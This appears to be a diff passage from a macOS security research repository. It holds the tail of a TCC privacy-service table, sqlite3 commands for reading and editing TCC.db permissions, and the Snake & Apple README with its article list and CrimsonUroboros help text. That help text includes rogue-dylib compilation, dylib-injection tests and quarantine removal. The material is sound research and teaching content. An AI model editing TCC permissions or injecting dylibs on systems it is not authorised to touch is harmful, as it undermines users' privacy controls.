| kTCCServiceUserAvailability | Accesses availability info; e.g., "Client would like to access your Availability." |
|
||||
| kTCCServiceUserTracking | Handles user tracking features. |
|
||||
| kTCCServiceVirtualMachineNetworking | Supports VM networking. |
|
||||
| kTCCServiceVoiceBanking | Enables voice-based banking. |
|
||||
| kTCCServiceWebBrowserPublicKeyCredential | Manages passkeys; e.g., "Would you like to allow client to access and use your saved passkeys?" |
|
||||
| kTCCServiceWebKitIntelligentTrackingPrevention | Provides tracking prevention in WebKit. |
|
||||
| kTCCServiceWillow | Internal identifier for Home-related data; e.g., "Client would like to access your Home data." |
|
||||
|
||||
### Practical Applications of TCC Services
|
||||
|
||||
TCC ensures apps can't access private data without approval, which is crucial for security research. Here's why certain services are commonly requested:
|
||||
|
||||
- Assistive technologies rely on accessibility permissions to enable features like voice commands.
|
||||
- Video apps need camera and microphone access for calls or recordings.
|
||||
- Productivity tools use calendar, contacts, or reminders to sync schedules and people.
|
||||
- Device integrations, like Bluetooth or motion sensors, support wearables and fitness tracking.
|
||||
- File-related permissions are vital for apps handling documents, downloads, or network storage.
|
||||
- Advanced features, such as screen capture or Siri, enhance sharing and voice control in collaborative or automated workflows.
|
||||
|
||||
These permissions appear in System Settings under Privacy \& Security, updating dynamically as apps request them.
|
||||
|
||||
### Retrieving the Latest TCC Service List
|
||||
|
||||
To get an up-to-date list directly from your system (tested on macOS Ventura and later), use these methods. Ensure Terminal has Full Disk Access for queries.
|
||||
|
||||
1. **Database Query**:
|
||||
|
||||
```bash
|
||||
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "SELECT * FROM access"
|
||||
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "SELECT * FROM access"
|
||||
```
|
||||
|
||||
This pulls from the user-level / system-level database.
|
||||
|
||||
2. **Extract from Framework**:
|
||||
|
||||
```bash
|
||||
strings /System/Library/PrivateFrameworks/TCC.framework/Support/tccd | grep -iEo "^kTCCService.*" | sort -u
|
||||
```
|
||||
|
||||
This scans for service strings in the TCC framework.
|
||||
|
||||
### Modifying TCC Permissions via Command Line
|
||||
|
||||
TCC stores data in SQLite databases at `~/Library/Application Support/com.apple.TCC/TCC.db` (user-specific) and `/Library/Application Support/com.apple.TCC/TCC.db` (system-wide). The key table is `access`, with fields like `service` (permission type), `client` (app bundle ID or path), `client_type` (0 for bundle ID, 1 for path), and `auth_value` (2 for allowed, 0 for denied).
|
||||
|
||||
#### Viewing Permissions
|
||||
|
||||
List apps with Full Disk Access:
|
||||
|
||||
```bash
|
||||
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db 'SELECT client FROM access WHERE auth_value > 0 AND service = "kTCCServiceSystemPolicyAllFiles"'
|
||||
```
|
||||
|
||||
Check system database similarly.
|
||||
|
||||
#### Editing Permissions
|
||||
|
||||
- Deny a permission (sets `auth_value` to 0):
|
||||
|
||||
```bash
|
||||
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db 'UPDATE access SET auth_value = 0 WHERE client = "com.example.app" AND service = "kTCCServiceCamera"'
|
||||
```
|
||||
|
||||
- Delete a specific entry:
|
||||
|
||||
```bash
|
||||
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "DELETE FROM access WHERE client = 'com.example.app' AND service = 'kTCCServiceCamera'"
|
||||
```
|
||||
|
||||
- Add an entry (requires code signing requirement blob via `codesign` and `csreq`):
|
||||
First, extract the blob for the app and target:
|
||||
|
||||
```bash
|
||||
codesign -dr - /Path/To/App.app 2>&1 | awk -F ' => ' '/designated/{print $2}' | csreq -r- -b /tmp/csreq.bin
|
||||
xxd -p /tmp/csreq.bin | tr -d '\n' # Output for INSERT
|
||||
```
|
||||
|
||||
Then insert (adapt values accordingly).
|
||||
|
||||
For simpler resets, use Apple's `tccutil reset` command to revoke permissions for a service or all for an app `tccutil reset All com.apple.Terminal`.
|
||||
789
README.md
789
README.md
@@ -1,24 +1,37 @@
|
||||
# Snake & Apple
|
||||

|
||||
The code repository for the `Snake&Apple` article series, which documents my research about macOS security.
|
||||
[](https://karol-mazurek.medium.com/snake-apple-ff87a399ecc4?sk=v2%2Fb2295773-88e6-4654-9d3d-61d73b9001e5)
|
||||
This is the code repository for the "[Snake & Apple](https://karol-mazurek.medium.com/list/snakeapple-50baea541374)" article series, which documents my research on macOS security. The primary tool developed during the creation of the series is called `CrimsonUroboros`. You can find its description, along with instructions for other tools in this repository, in [Tools.md](https://github.com/Karmaz95/Snake_Apple/blob/main/TOOLS.md).
|
||||
|
||||
Each article directory contains three subdirectories:
|
||||
## ARTICLES
|
||||
I have been writing about Apple Security across different platforms for years, compiling them in this repository. Currently, I am writing on [Patreon](https://www.patreon.com/Karol_Mazurek). All articles are free, except those marked with a `*`, which are [exclusive content](https://www.patreon.com/collection/1529482) for Elite Patrons—my "thank-you" to the folks who support me.
|
||||
|
||||
---
|
||||
Each main article directory contains three subdirectories:
|
||||
* `mac` - source code of macOS for references and copy of presentations.
|
||||
* `custom` - code, for example, programs written for articles.
|
||||
* `python` - contains the latest CrimsonUroboros and other Python scripts created during research.
|
||||
|
||||
## ARTICLES
|
||||
The short introduction is written in [Snake&Apple Intro](https://karol-mazurek95.medium.com/snake-apple-ff87a399ecc4?sk=v2%2Fb2295773-88e6-4654-9d3d-61d73b9001e5)
|
||||
---
|
||||
The short introduction is written in [Snake&Apple Intro](https://karol-mazurek.medium.com/snake-apple-ff87a399ecc4?sk=v2%2Fb2295773-88e6-4654-9d3d-61d73b9001e5)
|
||||
The tags for each article are in the [Article_tags.md](Article_tags.md).
|
||||
The table of contents showing links to all articles is below:
|
||||
* ☑ [App Bundle Extension](https://karol-mazurek.medium.com/snake-apple-app-bundle-ext-f5c43a3c84c4?sk=v2%2F3ff105ad-f4f0-464d-b4d5-46b86c66fe14)
|
||||
* ☑ [Cracking macOS apps](https://karol-mazurek.medium.com/cracking-macos-apps-39575dd672e0?sk=v2%2F727dce55-53ee-45f6-b051-2979e62f2ba1)
|
||||
* ☑ [Cracking Electron Integrity](https://karol-mazurek.medium.com/cracking-electron-integrity-0a10e0d5f239?sk=v2%2F7726b99c-c6c9-4d70-8c37-da9f2f0874e8)
|
||||
* ☑ [I. Mach-O](https://karol-mazurek95.medium.com/snake-apple-i-mach-o-a8eda4b87263?sk=v2%2Ffc1cbfa4-e2d4-4387-9a82-b27191978b5b)
|
||||
* ☑ [XPC Programming on macOS](https://karol-mazurek.medium.com/xpc-programming-on-macos-7e1918573f6d?sk=v2%2F21c4e9c7-40a5-43dd-804b-0d8f9bc4e94c)
|
||||
* ☑ [AppleScript for Vulnerability Research](https://www.patreon.com/posts/applescript-for-130305213) `*`
|
||||
* ☑ [LLDB for Vulnerability Research](https://www.patreon.com/posts/lldb-for-131084875) `*`
|
||||
* ☑ [Scaling Vulnerability Discovery on macOS](https://www.patreon.com/posts/scaling-on-macos-131937045) `*`
|
||||
* ☑ [Applications Patch Diffing on macOS](https://www.patreon.com/posts/applications-on-131618568) `*`
|
||||
* ☑ [Threats of Unvalidated XPC Clients on macOS](https://afine.com/threats-of-unvalidated-xpc-clients-on-macos/)
|
||||
* ☑ [I. Mach-O](https://karol-mazurek.medium.com/snake-apple-i-mach-o-a8eda4b87263?sk=v2%2Ffc1cbfa4-e2d4-4387-9a82-b27191978b5b)
|
||||
* ☑ [Optimizing Mach-O Detection](https://karol-mazurek.medium.com/optimizing-mach-o-detection-40352101bbef?sk=v2%2F3378d3f5-874b-4b82-94d5-b2ccd8522ea3)
|
||||
* ☑ [II. Code Signing](https://karol-mazurek95.medium.com/snake-apple-ii-code-signing-f0a9967b7f02?sk=v2%2Fbbc87007-89ca-4135-91d6-668b5d2fe9ae)
|
||||
* ☑ [III. Checksec](https://karol-mazurek95.medium.com/snake-apple-iii-checksec-ed64a4b766c1?sk=v2%2Fb4b8d637-e906-4b6b-8088-ca1f893cd787)
|
||||
* ☑ [Static Analysis on Decompiled Code](https://www.patreon.com/posts/static-analysis-135790081) `*`
|
||||
* ☑ [II. Code Signing](https://karol-mazurek.medium.com/snake-apple-ii-code-signing-f0a9967b7f02?sk=v2%2Fbbc87007-89ca-4135-91d6-668b5d2fe9ae)
|
||||
* ☑ [To allow or not to get-task-allow, that is the question](https://afine.com/to-allow-or-not-to-get-task-allow-that-is-the-question/)
|
||||
* ☑ [III. Checksec](https://karol-mazurek.medium.com/snake-apple-iii-checksec-ed64a4b766c1?sk=v2%2Fb4b8d637-e906-4b6b-8088-ca1f893cd787)
|
||||
* ☑ [IV. Dylibs](https://karol-mazurek.medium.com/snake-apple-iv-dylibs-2c955439b94e?sk=v2%2Fdef72b7a-121a-47a1-af89-7bf53aed1ea2)
|
||||
* ☑ [Breaking Hardened Runtime: The 0-Day Microsoft Delivered to macOS](https://afine.com/breaking-hardened-runtime-the-0-day-microsoft-delivered-to-macos/)
|
||||
* ☑ [Dyld Shared Cache Patch Diffing based on CVE-2025-43400](https://www.patreon.com/posts/dyld-shared-on-140770478) `*`
|
||||
* ☑ [V. Dyld](https://karol-mazurek.medium.com/snake-apple-v-dyld-8b36b674cc44?sk=v2%2F4acb16f8-fa88-41f0-8d7c-1362f4060010)
|
||||
* ☑ [DYLD — Do You Like Death? (I)](https://karol-mazurek.medium.com/dyld-do-you-like-death-i-8199faad040e?sk=v2%2F359b081f-d944-409b-9e7c-95f7c171b969)
|
||||
* ☑ [DYLD — Do You Like Death? (II)](https://karol-mazurek.medium.com/dyld-do-you-like-death-ii-b74360b8af47?sk=v2%2Ff0cff71c-5345-4228-a639-653325fc979d)
|
||||
@@ -40,741 +53,37 @@ The table of contents showing links to all articles is below:
|
||||
* ☑ [Sandbox Detector](https://karol-mazurek.medium.com/sandbox-detector-4268ab3cd361?sk=v2%2F58fe49fb-1381-4db3-9db9-3f6309e4053a)
|
||||
* ☑ [Sandbox Validator](https://karol-mazurek.medium.com/sandbox-validator-e760e5d88617?sk=v2%2F145ac2ef-ca06-41a0-b310-c96f4ce0037b)
|
||||
* ☑ [App Sandbox startup](https://karol-mazurek.medium.com/app-sandbox-startup-71daf8f259d1?sk=v2%2F9f3b09a6-c7c0-445d-8613-8e25bf3f4e4d)
|
||||
* ☑ [System Intigrity Protection](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
|
||||
* ☐ [IX. TCC](https://karol-mazurek.medium.com/snake-apple-ix-tcc-ae822e3e2718?sk=v2%2F426ae6cf-6418-4e3f-a0ca-3aee06d6f676)
|
||||
* ☑ [System Integrity Protection](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
|
||||
* ☑ [IX. TCC](https://karol-mazurek.medium.com/snake-apple-ix-tcc-ae822e3e2718?sk=v2%2F426ae6cf-6418-4e3f-a0ca-3aee06d6f676)
|
||||
* ☑ [Apple UUID Finder](https://karol-mazurek.medium.com/apple-uuid-finder-a5173bdd1a8a?sk=v2%2F04bb0d32-6dc9-437d-bf72-8f65e03fed90)
|
||||
* ☐ [X. NU]()
|
||||
* ☑ [Threat of TCC Bypasses on macOS](https://afine.com/threat-of-tcc-bypasses-on-macos/)
|
||||
* ☑ [TCC Bypass in Visual Studio Code via misconfigured Node fuses](https://afine.com/tcc-bypass-in-microsoft-visual-studio-code-via-misconfigured-node-fuses/)
|
||||
* ☑ [Reverse Engineering Apple’s TCC Daemon: When Decompiled Code Lies](https://afine.com/reverse-engineering-apples-tcc-daemon-when-decompiled-code-lies/)
|
||||
* ☑ [X. NU](https://karol-mazurek.medium.com/snake-apple-x-nu-0bc5c36170da?sk=v2%2F502ee9db-8d8a-4a1b-8655-546742a7d261)
|
||||
* ☑ [Kernel Debugging Setup on MacOS](https://karol-mazurek.medium.com/kernel-debugging-setup-on-macos-07dd8c86cdb6?sk=v2%2F782bf539-a057-4f14-bbe7-f8e1ace26701)
|
||||
* ☐ [Fixing an Infinite Loop](https://karol-mazurek.medium.com/fixing-an-infinite-loop-on-unix-e0a8a5501c54?sk=v2%2F140555f8-9770-4c6b-9734-d9c5b7cc9bc7)
|
||||
* ☑ [Fixing an Infinite Loop](https://karol-mazurek.medium.com/fixing-an-infinite-loop-on-unix-e0a8a5501c54?sk=v2%2F140555f8-9770-4c6b-9734-d9c5b7cc9bc7)
|
||||
* ☑ [Exceptions on macOS](https://karol-mazurek.medium.com/exceptions-on-macos-2c4bd6a9fd31?sk=v2%2Ffa7393a6-16e7-46d4-84d0-4de300260533)
|
||||
* ☑ [MACF on macOS](https://karol-mazurek.medium.com/macf-on-macos-004b8a490e2c?sk=v2%2Fd9a61281-e230-4ac6-8608-ad062f4d2a9a)
|
||||
* ☑ [Kernel Extensions on macOS](https://karol-mazurek.medium.com/kernel-extensions-on-macos-1b0f38b632ea?sk=v2%2Fb6920735-90f9-459c-9c10-30980247bae7)
|
||||
* ☑ [Mach IPC Security on macOS](https://karol-mazurek.medium.com/mach-ipc-security-on-macos-63ee350cb59b?sk=v2%2F3afce264-9b59-447f-84ea-b1988606191a)
|
||||
* ☑ [Task Injection on macOS](https://afine.com/task-injection-on-macos/)
|
||||
* ☑ [Drivers on macOS](https://karol-mazurek.medium.com/drivers-on-macos-26edbde370ab?sk=v2%2F8a5bbc18-aae7-4a68-b0dd-bb5ce70b5752)
|
||||
* ☑ [Case Study: Analyzing macOS IONVMeFamily NS_01 Driver Denial of Service Issue](https://afine.com/case-study-analyzing-macos-ionvmefamily-driver-denial-of-service-issue/)
|
||||
* ☑ [Case Study: IOMobileFramebuffer NULL Pointer Dereference](https://afine.com/case-study-iomobileframebuffer-null-pointer-dereference/)
|
||||
* ☑ [A mouse move that crashed the system – Stack Buffer Overflow in Display Driver on macOS](https://afine.com/a-mouse-move-that-crashed-the-system-stack-buffer-overflow-in-display-driver-on-macos/)
|
||||
* ☑ [Mapping IOKit Methods Exposed to User Space on macOS](https://phrack.org/issues/72/9_md#article) #PHRACK 💀
|
||||
* ☑ [SLAP & FLOP: Apple Silicon’s Data Speculation Vulnerabilities](https://afine.com/slap-flop-apple-silicons-data-speculation-vulnerabilities/)
|
||||
* ☑ [History of NULL Pointer Dereferences on macOS](https://afine.com/history-of-null-pointer-dereferences-on-macos/)
|
||||
|
||||
## TOOLS
|
||||
[CrimsonUroboros](#crimsonuroboros) • [MachOFileFinder](#machofilefinder) • [TrustCacheParser](#trustcacheparser) • [SignatureReader](#signaturereader) • [extract_cms.sh](#extract_cmssh) • [ModifyMachOFlags](#modifymachoflags) • [LCFinder](#lcfinder) • [MachODylibLoadCommandsFinder](#machodylibloadcommandsfinder) • [AMFI_test.sh](VI.%20AMFI/custom/AMFI_test.sh) • [make_plist](VIII.%20Sandbox/python/make_plist.py) • [sandbox_inspector](VIII.%20Sandbox/python/sandbox_inspector.py) • [spblp_compiler_wrapper](VIII.%20Sandbox/custom/sbpl_compiler_wrapper) • [make_bundle](#make_bundle) • [make_bundle_exe](#make_bundle_exe) • [make_dmg](#make_dmg) • [electron_patcher](#electron_patcher) • [sandbox_validator](#sandbox_validator) • [sandblaster](#sandblaster) • [sip_check](#sip_check) • [crimson_waccess.py](#crimson_waccesspy) • [sip_tester](#sip_tester) • [UUIDFinder](#uuidfinder)
|
||||
***
|
||||
* ☐ [Apple Intelligence]()
|
||||
* ☑ [AI-Enhanced Vulnerability Research](https://www.patreon.com/posts/ai-enhanced-135545364) `*`
|
||||
|
||||
### [CrimsonUroboros](tests/CrimsonUroboros.py)
|
||||

|
||||
Core program resulting from the Snake&Apple article series for binary analysis. You may find older versions of this script in each article directory in this repository.
|
||||
* Usage
|
||||
```console
|
||||
usage: CrimsonUroboros [-h] [-p PATH] [-b BUNDLE] [--bundle_structure]
|
||||
[--bundle_info] [--bundle_info_syntax_check]
|
||||
[--bundle_frameworks] [--bundle_plugins] [--bundle_id]
|
||||
[--file_type] [--header_flags] [--endian] [--header]
|
||||
[--load_commands] [--has_cmd LC_MAIN] [--segments]
|
||||
[--has_segment __SEGMENT] [--sections]
|
||||
[--has_section __SEGMENT,__section] [--symbols]
|
||||
[--imports] [--exports] [--imported_symbols]
|
||||
[--chained_fixups] [--exports_trie] [--uuid] [--main]
|
||||
[--encryption_info [(optional) save_path.bytes]]
|
||||
[--strings_section] [--all_strings]
|
||||
[--save_strings all_strings.txt] [--info]
|
||||
[--dump_data [offset,size,output_path]]
|
||||
[--calc_offset vm_offset] [--constructors]
|
||||
[--dump_section __SEGMENT,__section]
|
||||
[--dump_binary output_path] [--verify_signature]
|
||||
[--cd_info] [--cd_requirements]
|
||||
[--entitlements [human|xml|var]]
|
||||
[--extract_cms cms_signature.der]
|
||||
[--extract_certificates certificate_name]
|
||||
[--remove_sig unsigned_binary]
|
||||
[--sign_binary [adhoc|identity]] [--cs_offset]
|
||||
[--cs_flags] [--verify_bundle_signature]
|
||||
[--remove_sig_from_bundle] [--has_pie] [--has_arc]
|
||||
[--is_stripped] [--has_canary] [--has_nx_stack]
|
||||
[--has_nx_heap] [--has_xn] [--is_notarized]
|
||||
[--is_encrypted] [--is_restricted] [--is_hr] [--is_as]
|
||||
[--is_fort] [--has_rpath] [--has_lv] [--checksec]
|
||||
[--dylibs] [--rpaths] [--rpaths_u] [--dylibs_paths]
|
||||
[--dylibs_paths_u] [--broken_relative_paths]
|
||||
[--dylibtree [cache_path,output_path,is_extracted]]
|
||||
[--dylib_id] [--reexport_paths] [--hijack_sec]
|
||||
[--dylib_hijacking [(optional) cache_path]]
|
||||
[--dylib_hijacking_a [cache_path]]
|
||||
[--prepare_dylib [(optional) target_dylib_name]]
|
||||
[--is_built_for_sim] [--get_dyld_env]
|
||||
[--compiled_with_dyld_env] [--has_interposing]
|
||||
[--interposing_symbols]
|
||||
[--dump_prelink_info [(optional) out_name]]
|
||||
[--dump_prelink_text [(optional) out_name]]
|
||||
[--dump_prelink_kext [kext_name]]
|
||||
[--kext_prelinkinfo [kext_name]]
|
||||
[--kmod_info kext_name] [--kext_entry kext_name]
|
||||
[--kext_exit kext_name] [--mig] [--has_suid]
|
||||
[--has_sgid] [--has_sticky] [--injectable_dyld]
|
||||
[--test_insert_dylib] [--test_prune_dyld]
|
||||
[--test_dyld_print_to_file] [--test_dyld_SLC] [--xattr]
|
||||
[--xattr_value xattr_name] [--xattr_all]
|
||||
[--has_quarantine] [--remove_quarantine]
|
||||
[--add_quarantine] [--sandbox_container_path]
|
||||
[--sandbox_container_metadata]
|
||||
[--sandbox_redirectable_paths] [--sandbox_parameters]
|
||||
[--sandbox_entitlements] [--sandbox_build_uuid]
|
||||
[--sandbox_redirected_paths] [--sandbox_system_images]
|
||||
[--sandbox_system_profiles]
|
||||
[--sandbox_content_protection] [--sandbox_profile_data]
|
||||
[--dump_kext kext_name] [--extract_sandbox_operations]
|
||||
[--tcc] [--tcc_fda] [--tcc_automation] [--tcc_sysadmin]
|
||||
[--tcc_desktop] [--tcc_documents] [--tcc_downloads]
|
||||
[--tcc_photos] [--tcc_contacts] [--tcc_calendar]
|
||||
[--tcc_camera] [--tcc_microphone] [--tcc_location]
|
||||
[--tcc_recording] [--tcc_accessibility] [--tcc_icloud]
|
||||
## REFERENCES
|
||||
I have studied tons of resources, crediting other researchers and their contributions at the end of each article I wrote. Thank you all for sharing your hard-earned knowledge for free. You are all awesome! However, two individuals have significantly accelerated my progress, and I want to honor them:
|
||||
|
||||
Mach-O files parser for binary analysis
|
||||
* **[Jonathan Levin](https://x.com/Morpheus______)** – His [*OS Internals trilogy](https://newosxbook.com/home.html) helped me rapidly learn the beauty of the macOS system. If there is a single resource I would recommend for anybody, it is the masterpiece you wrote. Thank you!
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
* **[Patrick Wardle](https://x.com/patrickwardle)** – He created the [OBTS conference](https://objective-see.org/), where many brilliant minds come together to share their research. You've created something to look forward to every year. Thank you!
|
||||
|
||||
GENERAL ARGS:
|
||||
-p, --path PATH Path to the Mach-O file
|
||||
-b, --bundle BUNDLE Path to the App Bundle (can be used with -p to change
|
||||
path of binary which is by default set to:
|
||||
/target.app/Contents/MacOS/target)
|
||||
|
||||
BUNDLE ARGS:
|
||||
--bundle_structure Print the structure of the app bundle
|
||||
--bundle_info Print the Info.plist content of the app bundle (JSON
|
||||
format)
|
||||
--bundle_info_syntax_check
|
||||
Check if bundle info syntax is valid
|
||||
--bundle_frameworks Print the list of frameworks in the bundle
|
||||
--bundle_plugins Print the list of plugins in the bundle
|
||||
--bundle_id Print the CFBundleIdentifier value from the Info.plist
|
||||
file if it exists
|
||||
|
||||
MACH-O ARGS:
|
||||
--file_type Print binary file type
|
||||
--header_flags Print binary header flags
|
||||
--endian Print binary endianess
|
||||
--header Print binary header
|
||||
--load_commands Print binary load commands names
|
||||
--has_cmd LC_MAIN Check of binary has given load command
|
||||
--segments Print binary segments in human-friendly form
|
||||
--has_segment __SEGMENT
|
||||
Check if binary has given '__SEGMENT'
|
||||
--sections Print binary sections in human-friendly form
|
||||
--has_section __SEGMENT,__section
|
||||
Check if binary has given '__SEGMENT,__section'
|
||||
--symbols Print all binary symbols
|
||||
--imports Print imported symbols
|
||||
--exports Print exported symbols
|
||||
--imported_symbols Print symbols imported from external libraries with
|
||||
dylib names
|
||||
--chained_fixups Print Chained Fixups information
|
||||
--exports_trie Print Export Trie information
|
||||
--uuid Print UUID
|
||||
--main Print entry point and stack size
|
||||
--encryption_info [(optional) save_path.bytes]
|
||||
Print encryption info if any. Optionally specify an
|
||||
output path to dump the encrypted data (if cryptid=0,
|
||||
data will be in plain text)
|
||||
--strings_section Print strings from __cstring section
|
||||
--all_strings Print strings from all sections
|
||||
--save_strings all_strings.txt
|
||||
Parse all sections, detect strings, and save them to a
|
||||
file
|
||||
--info Print header, load commands, segments, sections,
|
||||
symbols, and strings
|
||||
--dump_data [offset,size,output_path]
|
||||
Dump {size} bytes starting from {offset} to a given
|
||||
{filename} (e.g. '0x1234,0x1000,out.bin')
|
||||
--calc_offset vm_offset
|
||||
Calculate the real address (file on disk) of the given
|
||||
Virtual Memory {vm_offset} (e.g. 0xfffffe000748f580)
|
||||
--constructors Print binary constructors
|
||||
--dump_section __SEGMENT,__section
|
||||
Dump '__SEGMENT,__section' to standard output as a raw
|
||||
bytes
|
||||
--dump_binary output_path
|
||||
Dump arm64 binary to a given file
|
||||
|
||||
CODE SIGNING ARGS:
|
||||
--verify_signature Code Signature verification (if the contents of the
|
||||
binary have been modified)
|
||||
--cd_info Print Code Signature information
|
||||
--cd_requirements Print Code Signature Requirements
|
||||
--entitlements [human|xml|var]
|
||||
Print Entitlements in a human-readable, XML, or DER
|
||||
format (default: human)
|
||||
--extract_cms cms_signature.der
|
||||
Extract CMS Signature from the Code Signature and save
|
||||
it to a given file
|
||||
--extract_certificates certificate_name
|
||||
Extract Certificates and save them to a given file. To
|
||||
each filename will be added an index at the end: _0
|
||||
for signing, _1 for intermediate, and _2 for root CA
|
||||
certificate
|
||||
--remove_sig unsigned_binary
|
||||
Save the new file on a disk with removed signature
|
||||
--sign_binary [adhoc|identity]
|
||||
Sign binary using specified identity - use : 'security
|
||||
find-identity -v -p codesigning' to get the identity
|
||||
(default: adhoc)
|
||||
--cs_offset Print Code Signature file offset
|
||||
--cs_flags Print Code Signature flags
|
||||
--verify_bundle_signature
|
||||
Code Signature verification (if the contents of the
|
||||
bundle have been modified)
|
||||
--remove_sig_from_bundle
|
||||
Remove Code Signature from the bundle
|
||||
|
||||
CHECKSEC ARGS:
|
||||
--has_pie Check if Position-Independent Executable (PIE) is set
|
||||
--has_arc Check if Automatic Reference Counting (ARC) is in use
|
||||
(can be false positive)
|
||||
--is_stripped Check if binary is stripped
|
||||
--has_canary Check if Stack Canary is in use (can be false
|
||||
positive)
|
||||
--has_nx_stack Check if stack is non-executable (NX stack)
|
||||
--has_nx_heap Check if heap is non-executable (NX heap)
|
||||
--has_xn Check if binary is protected by eXecute Never (XN) ARM
|
||||
protection
|
||||
--is_notarized Check if the application is notarized and can pass the
|
||||
Gatekeeper verification
|
||||
--is_encrypted Check if the application is encrypted (has
|
||||
LC_ENCRYPTION_INFO(_64) and cryptid set to 1)
|
||||
--is_restricted Check if binary has __RESTRICT segment or CS_RESTRICT
|
||||
flag set
|
||||
--is_hr Check if the Hardened Runtime is in use
|
||||
--is_as Check if the App Sandbox is in use
|
||||
--is_fort Check if the binary is fortified
|
||||
--has_rpath Check if the binary utilise any @rpath variables
|
||||
--has_lv Check if the binary has Library Validation (protection
|
||||
against Dylib Hijacking)
|
||||
--checksec Run all checksec module options on the binary
|
||||
|
||||
DYLIBS ARGS:
|
||||
--dylibs Print shared libraries used by specified binary with
|
||||
compatibility and the current version (loading paths
|
||||
unresolved, like @rpath/example.dylib)
|
||||
--rpaths Print all paths (resolved) that @rpath can be resolved
|
||||
to
|
||||
--rpaths_u Print all paths (unresolved) that @rpath can be
|
||||
resolved to
|
||||
--dylibs_paths Print absolute dylib loading paths (resolved
|
||||
@rpath|@executable_path|@loader_path) in order they
|
||||
are searched for
|
||||
--dylibs_paths_u Print unresolved dylib loading paths.
|
||||
--broken_relative_paths
|
||||
Print 'broken' relative paths from the binary (cases
|
||||
where the dylib source is specified for an executable
|
||||
directory without @executable_path)
|
||||
--dylibtree [cache_path,output_path,is_extracted]
|
||||
Print the dynamic dependencies of a Mach-O binary
|
||||
recursively. You can specify the Dyld Shared Cache
|
||||
path in the first argument, the output directory as
|
||||
the 2nd argument, and if you have already extracted
|
||||
DSC in the 3rd argument (0 or 1). The output_path will
|
||||
be used as a base for dylibtree. For example, to not
|
||||
extract DSC, use: --dylibs ",,1", or to extract from
|
||||
default to default use just --dylibs or --dylibs ",,0"
|
||||
which will extract DSC to extracted_dyld_share_cache/
|
||||
in the current directory
|
||||
--dylib_id Print path from LC_ID_DYLIB
|
||||
--reexport_paths Print paths from LC_REEXPORT_DLIB
|
||||
--hijack_sec Check if binary is protected against Dylib Hijacking
|
||||
--dylib_hijacking [(optional) cache_path]
|
||||
Check for possible Direct and Indirect Dylib Hijacking
|
||||
loading paths. The output is printed to console and
|
||||
saved in JSON format to
|
||||
/tmp/dylib_hijacking_log.json(append mode).
|
||||
Optionally, specify the path to the Dyld Shared Cache
|
||||
--dylib_hijacking_a [cache_path]
|
||||
Like --dylib_hijacking, but shows only possible
|
||||
vectors (without protected binaries)
|
||||
--prepare_dylib [(optional) target_dylib_name]
|
||||
Compile rogue dylib. Optionally, specify
|
||||
target_dylib_path, it will search for the imported
|
||||
symbols from it in the dylib specified in the --path
|
||||
argument and automatically add it to the source code
|
||||
of the rogue lib. Example: --path lib1.dylib
|
||||
--prepare_dylib /path/to/lib2.dylib
|
||||
|
||||
DYLD ARGS:
|
||||
--is_built_for_sim Check if binary is built for simulator platform.
|
||||
--get_dyld_env Extract Dyld environment variables from the loader
|
||||
binary.
|
||||
--compiled_with_dyld_env
|
||||
Check if binary was compiled with -dyld_env flag and
|
||||
print the environment variables and its values.
|
||||
--has_interposing Check if binary has interposing sections.
|
||||
--interposing_symbols
|
||||
Print interposing symbols if any.
|
||||
|
||||
AMFI ARGS:
|
||||
--dump_prelink_info [(optional) out_name]
|
||||
Dump "__PRELINK_INFO,__info" to a given file (default:
|
||||
"PRELINK_info.txt")
|
||||
--dump_prelink_text [(optional) out_name]
|
||||
Dump "__PRELINK_TEXT,__text" to a given file (default:
|
||||
"PRELINK_text.txt")
|
||||
--dump_prelink_kext [kext_name]
|
||||
Dump prelinked KEXT {kext_name} from decompressed
|
||||
Kernel Cache PRELINK_TEXT segment to a file named:
|
||||
prelinked_{kext_name}.bin
|
||||
--kext_prelinkinfo [kext_name]
|
||||
Print _Prelink properties from PRELINK_INFO,__info for
|
||||
a give {kext_name}
|
||||
--kmod_info kext_name
|
||||
Parse kmod_info structure for the given {kext_name}
|
||||
from Kernel Cache
|
||||
--kext_entry kext_name
|
||||
Calculate the virtual memory address of the __start
|
||||
(entrypoint) for the given {kext_name} Kernel
|
||||
Extension
|
||||
--kext_exit kext_name
|
||||
Calculate the virtual memory address of the __stop
|
||||
(exitpoint) for the given {kext_name} Kernel Extension
|
||||
--mig Search for MIG subsystem and prints message handlers
|
||||
--has_suid Check if the file has SetUID bit set
|
||||
--has_sgid Check if the file has SetGID bit set
|
||||
--has_sticky Check if the file has sticky bit set
|
||||
--injectable_dyld Check if the binary is injectable using
|
||||
DYLD_INSERT_LIBRARIES
|
||||
--test_insert_dylib Check if it is possible to inject dylib using
|
||||
DYLD_INSERT_LIBRARIES (INVASIVE - the binary is
|
||||
executed)
|
||||
--test_prune_dyld Check if Dyld Environment Variables are cleared (using
|
||||
DYLD_PRINT_INITIALIZERS=1) (INVASIVE - the binary is
|
||||
executed)
|
||||
--test_dyld_print_to_file
|
||||
Check if DYLD_PRINT_TO_FILE Dyld Environment Variables
|
||||
works (INVASIVE - the binary is executed)
|
||||
--test_dyld_SLC Check if DYLD_SHARED_REGION=private Dyld Environment
|
||||
Variables works and code can be injected using
|
||||
DYLD_SHARED_CACHE_DIR (INVASIVE - the binary is
|
||||
executed)
|
||||
|
||||
ANTIVIRUS ARGS:
|
||||
--xattr Print all extended attributes names
|
||||
--xattr_value xattr_name
|
||||
Print single extended attribute value
|
||||
--xattr_all Print all extended attributes names and their values
|
||||
--has_quarantine Check if the file has quarantine extended attribute
|
||||
--remove_quarantine Remove com.apple.quarantine extended attribute from
|
||||
the file
|
||||
--add_quarantine Add com.apple.quarantine extended attribute to the
|
||||
file
|
||||
|
||||
SANDBOX ARGS:
|
||||
--sandbox_container_path
|
||||
Print the sandbox container path
|
||||
--sandbox_container_metadata
|
||||
Print the .com.apple.containermanagerd.metadata.plist
|
||||
contents for the given bundlein XML format
|
||||
--sandbox_redirectable_paths
|
